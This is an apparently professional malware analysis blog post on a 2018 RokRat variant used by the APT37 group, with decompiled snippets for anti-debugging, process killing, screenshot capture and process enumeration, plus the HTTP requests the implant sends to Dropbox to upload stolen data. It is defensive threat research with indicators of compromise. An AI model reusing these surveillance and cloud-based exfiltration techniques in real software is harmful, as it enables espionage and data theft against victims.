RokRat Analysis

In July 2018 a security researcher named Simon Choi reported that a group, which goes by the name Group123 (also known as APT37 or Reaper), used spear-phishing emails to spread their malicious payload [1]. Shortly afterwards it was revealed that the attacker was using an exploit for a vulnerability in Hangul Word (CVE-2017-8291) and that the implant is a new version of RokRat [2]. RokRat has been used in the past by the same group and was described publicly for the first time by Cisco Talos Intelligence Group in 2017[3][4]. The purpose of this blog post is to briefly describe the changes to RokRat in this latest iteration.

Technical Analysis

As soon as the malware starts execution, it will resolve all imports dynamically by reading the Process Environment Block (PEB) (Figure 1).

ZwTerminateProcess = (int (__stdcall *)(_DWORD, _DWORD))hash_import((void 
*)0x1E35E09C);
v4 = hash_import((void *)0xC38AE110); // This hash is VirtualProtect

Figure 1

This technique is not new and has been described and used many times in the past. Next, a call to GetModuleHandle is made in order to determine if it has been injected in ‘cmd.exe’ or ‘explorer.exe’.

if (!GetModuleHandleA("cmd.exe") && !GetModuleHandleA("explorer.exe")) { 
dword_45CAB4 += 7;
hook_exitprocess(GetModuleHandleA);
}

Figure 2

If the malware is running as its own instance, without being injected, then it will inline hook ExitProcess and add a jump to a function which puts RokRat into an infinite sleep (Figure 3 and 4). The hooked function will simply put the process in a sleep loop to avoid exiting the process.

*(int *)((char *)&v17 + 1) = (char *)hooked_exitprocess_jump - (char *)v1 
- 5;
*(_DWORD *)v1 = v17;
*((_BYTE *)v1 + 4) = v18;

Figure 3

for ( i = dword_45CAB4 + 7 + v0 + (unsigned __int8)rand(); ; i = 
dword_45CAB4 + 17 )
{
dword_45CAB4 = i - 4;
srand(i - 4);
v2 = (signed int)GetTickCount() >> 16;
dword_45CAB4 += 7 + v2 + (unsigned __int8)rand();
Sleep(0x2710u);
}

Figure 4

Next, RokRat will attempt to gain debug privileges, and try to determine if it is being analysed.

NewState.PrivilegeCount = 1;
NewState.Privileges[0].Attributes = 2;
LookupPrivilegeValueW(0, L"SeDebugPrivilege", (PLUID)NewState.Privileges);
dword_45CAB4 += 45;
AdjustTokenPrivileges(TokenHandle, 0, &NewState, 0x10u, 0, 0);
dword_45CAB4 -= 4;

Figure 5

This is something RokRat has done previously and utilizes the following techniques:

I) If one of the following DLLs has been loaded then this means that it is being debugged:

a. dir_watch.dll (iDefense SysAnalyzer)
b. api_log.dll (iDefense SysAnalyzer)
c. dbghelp.dll (Microsoft debugging DLL)
d. sbieDll.dll (Sandboxie)

II) Call IsDebuggerPresent to determine if it is being debugged

III) Call GetTickCount twice to check for single-stepping

IV) Check if the file ‘C:\Program Files\VMware\VMware Tools\vmtoolsd.exe’ exists

It is worth noting that RokRat will not necessarily change its execution flow or behaviour even if it detects a debugger or a sandbox. For example, if a debugger is detected with IsDebuggerPresent then nothing will happen. On the other hand, if single-stepping is detected then it will terminate.

Note: Other reports have referred to an anti-debug technique using the NOP instruction. We did not mention this because we do not believe that this is an actual anti-debug method. We believe that instructions such as nop dword ptr [eax+eax+00h] will indeed not be decoded or handled correctly by older debuggers such as Ollydbg or Immunity. However, x64dbg or IDA Pro will handle this instruction without any problems. The key point here is that instruction(s) like the one mentioned are generated by the compiler and not by the author(s) of RokRat.

Lastly, it will create two threads (Figure 6). One for enumerating and terminating blacklisted processes and one for communicating with the C2. The functionality of each thread is described below.

CreateThread(0, 0, process_killer_thread, 0, 0, &v12);
    dword_45CAB4 += 17;
     v6 = ((int (__stdcall *)(_DWORD, _DWORD, int (__stdcall *)(int), _DWORD,
_DWORD, char *))CreateThread)(0, 0, main_execution, 0, 0, &v12);

Figure 6

Encrypted Strings

Unlike previous versions of RokRat, the strings are encrypted. Two functions are responsible for decrypting most of the strings and one additional function decrypts only one string. A Python implementation of these functions can be found in our Github repository (see https://github.com/nccgroup/Cyber-Defence/tree/master/Scripts/rokrat). The decrypted strings can be found in the References.

Process killer

As mentioned above, one of the threads and one of the functionalities of the latest version of RokRat is to enumerate and terminate specific processes.

v4 = calculate_process_checksum(pe.szExeFile);
v5 = dword_45CAB4 + 6;
if ( v4 == 0xFBDFAC40 || v4 == 0x8BA5B4C5 )
{
dword_45CAB4 += 2;
srand(dword_45CAB4);
v6 = (signed int)GetTickCount() >> 16;
dword_45CAB4 += (unsigned __int8)rand() + v6;
v7 = OpenProcess(0x1FFFFFu, 0, pe.th32ProcessID);
v8 = dword_45CAB4 + 7;
if ( v7 )
{
dword_45CAB4 += 15;
ZwTerminateProcess(v7, 0);
v8 = dword_45CAB4 + 9;
}
v5 = v8 + 10;
}

Figure 7

For each process, it will calculate its checksum and then compare it with the following values:

i) 0x0FBDFAC40 – gbb.exe

ii) 0x8BA5B4C5 – gswin32c.exe

A Python script which produces the same results can be found in the References. Brute forcing the values is possible, for example it finds gbb.exe hashes to 0x0FBDFAC40.

Data collection

The main functionality of RokRat is executed in the second thread, which is able to gather system information, take screenshots using the gdi32 library, and communicate with the C2 (Figure 8 and 9). Gathered information includes PID, path and name for each process, machine name, and BIOS information. The name for each screenshot, which is sent back to the attacker, follows the following format “/pho_%s_%d.jpg”, where %s is a random generated string and %d is a number which indicates how many times a screenshot has been taken. Each screenshot is saved temporarily to the infected machine with the following name format “%s%04X%04X.tmp”, where %s is the temporary path and %04X are random generated numbers.

GdiplusStartup(&v11, &v12, 0);
GetTempPathW(0x12Cu, &Buffer);
SetProcessDPIAware();
v1 = GetSystemMetrics(0);
v2 = GetSystemMetrics(1);
v3 = CreateCompatibleDC(0);
v4 = GetDC(0);
ho = CreateCompatibleBitmap(v4, v1, v2);
SelectObject(v3, ho);
v6 = GetDC(0);
BitBlt(v3, 0, 0, v1, v2, v6, 0, 0, 0xCC0020u);

Figure 8

 v5[2] = GdipCreateBitmapFromHBITMAP(v3, 0, &v13);
v5[1] = v13;
}
else
{
v5 = 0;
}
sub_408F70(v4, &v14);
v12 = 50;
v15 = 1;
v17 = 1;
v16 = xmmword_4479DC;
v18 = 4;
v19 = &v12;
rand();
rand();
format_generate_num(v6, (int)&FileName, (int)L"%s%04X%04X.tmp",
(int)&Buffer);
v7 = GdipSaveImageToFile(v5[1], &FileName, &v14, &v15);

Figure 9

Process Enumeration

RokRat enumerates processes (Figure 11) and sends process information back to the attacker in the following format: “%cpid:%d,name:%s,path:%s%c”, where %d is the PID of the process, %s is the name of the process and %s%c is the path of the process.

v2 = CreateToolhelp32Snapshot(2u, 0);
v3 = dword_45CAB4 + 4;
hSnapshot = v2;
dword_45CAB4 += 4;
if ( v2 == (HANDLE)-1 )
return 0;
*v1 = 0;
dword_45CAB4 = v3 + 4;
GetEnvironmentVariableW(L"appdata", v1, 0x1FFF0u);

// Removed - local variables used for string stacking
// Decrypts “%cpid:%d,name:%s,path:%s%c
decryption1((unsigned __int8 *)&v16, (int)&v15);
dword_45CAB4 += 8;
if ( Process32NextW(v2, &pe) )
{
do
{
dword_45CAB4 += 4;
Filename = 0;
v5 = OpenProcess(0x410u, 0, pe.th32ProcessID);
v6 = dword_45CAB4 + 4;
dword_45CAB4 += 4;
if ( v5 )
{
if ( EnumProcessModules(v5, &hModule, 4u, &cbNeeded) )
GetModuleFileNameExW(v5, hModule, &Filename, 0x200u);
v6 = dword_45CAB4 + 5;
}
dword_45CAB4 = v6 + 5;
format_generate_num(v6 + 5, (int)&v13, (int)&v15, 2573);
dword_45CAB4 += 5;
if ( wcslen(v1) + wcslen((const unsigned __int16 *)&v13) > 0xFFF8 )
break;
wcscat(v1, (const unsigned __int16 *)&v13);
dword_45CAB4 += 10;
v2 = hSnapshot;
}
while ( Process32NextW(hSnapshot, &pe) );
}
CloseHandle(v2);

Figure 10

C2 Communication

RokRat has used social platforms and cloud services historically for communication; this iteration is no exception. In this sample they use Dropbox for C2.

The following requests can be made:

Delete

A request to delete a file.

POST /2/files/delete HTTP/1.1
Connection: Keep-Alive
Content-Type: application/json
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.8
Authorization: Bearer [Dropbox token redacted]
User-Agent: Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
Content-Length: 38
Host: api.dropboxapi.com
{
"path" : "/pho_3E382F25_0.jpg"
}

Figure 11

Download

A request to download a file:

POST /2/files/download HTTP/1.1
Connection: Keep-Alive
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.8
Authorization: Bearer [Dropbox token redacted]
User-Agent: Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
Dropbox-API-Arg: {"path":"/def_3E382F25.jpg"}
Content-Length: 0
Host: content.dropboxapi.com

Figure 12

Upload

A request to upload data, which might include collected host data or retrieved files which were requested based on the attacker’s preferences.

POST /2/files/upload HTTP/1.1
Connection: Keep-Alive
Content-Type: application/octet-stream
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.8
Authorization: Bearer [Dropbox token redacted]
User-Agent: Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
Dropbox-API-Arg: {"path":"/pho_3E382F25_0.jpg","mode":{".tag":"overwrite"}}
Content-Length: 248665
Host: content.dropboxapi.com

Figure 13

For example, system information is uploaded in the following format, as UTF-16:

pid:0,name:[System Process],path:
pid:4,name:System,path:
pid:484,name:smss.exe,path:
pid:560,name:csrss.exe,path:
pid:632,name:wininit.exe,path:
pid:724,name:services.exe,path:
pid:732,name:lsass.exe,path:

Figure 14

Conclusion

In this blog post we presented the new features and changes of Rokrat. Despite Lazarus being the most active and famous North Korean group, Group123/APT37 seems to remain active by using HWP exploits in their spear phishing campaigns. RokRat remains in their inventory of malware and even though this new version of RokRat hasn’t introduced any new interesting techniques or major changes, the authors behind it are still developing it and using it in their campaigns.

References

1. https://twitter.com/issuemakerslab/status/1014085335439953920
2. https://twitter.com/darienhuss/status/1014871222704893952
3. https://blog.talosintelligence.com/2017/04/introducing-rokrat.html
4. https://blog.talosintelligence.com/2017/11/ROKRAT-Reloaded.html

IoCs

4d37f80da97845129debf3244e1f731d2c93a02519f9fdaa059f5f124cf7c26f

f31bee70fd10f6846890f42947de40061bacb24fb51f43ef6c75325ec9b95de8

Published date:  08 November 2018

Written by:  Nikolaos Pantazopoulos